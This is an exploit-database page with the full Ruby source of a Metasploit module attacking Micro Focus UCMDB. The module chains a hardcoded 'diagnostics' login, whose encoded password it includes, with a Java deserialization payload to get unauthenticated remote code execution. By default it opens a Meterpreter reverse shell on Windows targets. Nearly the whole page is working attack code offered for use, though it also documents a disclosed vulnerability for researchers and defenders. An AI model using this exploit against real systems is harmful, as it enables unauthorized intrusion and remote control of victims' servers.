Micro Focus UCMDB Remote Code Execution

2021.01.29
Credit: Pedro Ribeiro
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell def initialize(info = {}) super( update_info( info, 'Name' => 'Micro Focus UCMDB Java Deserialization Unauthenticated Remote Code Execution', 'Description' => %q{ This module exploits two vulnerabilities, that when chained allow an attacker to achieve unauthenticated remote code execution in Micro Focus UCMDB. UCMDB included in versions 2020.05 and below of Operations Bridge Manager are affected, but this module can probably also be used to exploit Operations Bridge Manager (containeirized) and Application Performance Management. Check the advisory and module documentation for details. The first vulnerability is a hardcoded password for the "diagnostics" user, which allows us to login to UCMDB. The second vulnerability is a run-of-the-mill Java deserialization, which can be exploited with ysoserial's CommonsBeanutils1 payload. Both Windows and Linux installations are vulnerable. }, 'License' => MSF_LICENSE, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module ], 'References' => [ [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBM.md'], [ 'CVE', '2020-11853'], [ 'CVE', '2020-11854'], [ 'ZDI', '20-1287'], [ 'ZDI', '20-1288'], ], 'Privileged' => true, 'Platform' => %w[unix win], 'DefaultOptions' => { 'WfsDelay' => 15 }, 'Targets' => # unfortunately could not find a way to determine target automatically [ [ 'Windows', { 'Platform' => 'win', 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' } }, ], [ 'Linux', { 'Platform' => 'unix', 'Arch' => [ARCH_CMD], 'DefaultOptions' => # Metasploit ysoserial's Linux payloads are currently BROKEN! # So we need to default to cmd/unix/generic, which is the only that works now. # Once this is fixed, change the default to cmd/unix/reverse_python # ... and remove this comment. { 'PAYLOAD' => 'cmd/unix/generic' } }, ] ], 'DisclosureDate' => '2020-10-28', 'DefaultTarget' => 0 ) ) register_options( [ Opt::RPORT(8443), OptString.new('TARGETURI', [ true, 'Base UCMDB path', '/']), OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]), ] ) end def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'ucmdb-api', 'connect'), 'method' => 'GET' }) if res && res.code == 200 && res.body.include?('HttpUcmdbServiceProviderFactoryImpl') if res.body.include?('ServerVersion=11.6.0') # 100% sure this version is vulnerable return Exploit::CheckCode::Appears end return Exploit::CheckCode::Detected end return Exploit::CheckCode::Unknown end def exploit print_status("#{peer} - Attacking #{target.name} target") if target.name == 'Windows' cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true, encode_final_payload: true }) else cmd = payload.encoded end # First, let's authenticate res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'ucmdb-ui', 'cms', 'loginRequest.do;'), 'method' => 'POST', 'vars_post' => { 'customerID' => '1', 'isEncoded' => 'false', 'userName' => 'diagnostics', 'password' => 'YWRtaW4=', 'ldapServerName' => 'UCMDB' } }) unless res && res.code == 200 && res.get_cookies.include?('LWSSO_COOKIE_KEY') fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate with the diagnostics user!") end cookies = res.get_cookies print_good("#{peer} - Succesfully authenticated and obtained our cookie!") # Now let's pick a random service since we have so many to choose from :D vuln_service = [ 'services/CmdbOperationExecuterService', 'services/CategoryFacadeForGui', 'services/CorrelationFacadeForGui', 'services/CorrelationRunnerFacade', 'services/PackageFacadeForGui', 'services/SchedulerFacadeForGui', 'services/FoldersFacade', 'services/BusinessModelFacadeForGui', 'services/WatchServerAPI', 'services/TopologyService', 'services/ReportService', 'services/CMSImagesService', 'services/PatternService', 'services/FolderService', 'services/RelatedCIsService', 'services/MailService', 'services/DiscoveryService', 'services/ServiceDiscoveryService', 'services/SoftwareLibraryService', 'services/DataAcquisitionService', 'services/CIService', 'services/HistoryService', 'services/BundleService', 'services/LocationService', 'services/SchedulerService', 'services/ImpactService', 'services/CommonService', 'services/PermissionsService', 'services/ClassModelService', 'services/SnapshotService', 'services/LDAPService', 'services/CITService', 'services/MultiTenancyService', 'services/SecurityService', 'services/ResourceManagementService', 'services/AutomationMappingService', 'services/LicensingService', 'services/GenericAdapterService' ].sample # Simple as payload = ::Msf::Util::JavaDeserialization.ysoserial_payload('CommonsBeanutils1', cmd) print_status("#{peer} - Sending payload to /#{vuln_service}") res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'ucmdb-ui', vuln_service), 'method' => 'POST', 'cookie' => cookies, 'headers' => { 'Content-Type' => 'application/x-java-serialized-object' }, 'data' => payload }) if res && res.code == 500 print_good("#{peer} - Success, shell incoming!") handler else print_error("#{peer} - Something failed, try again?") end end end


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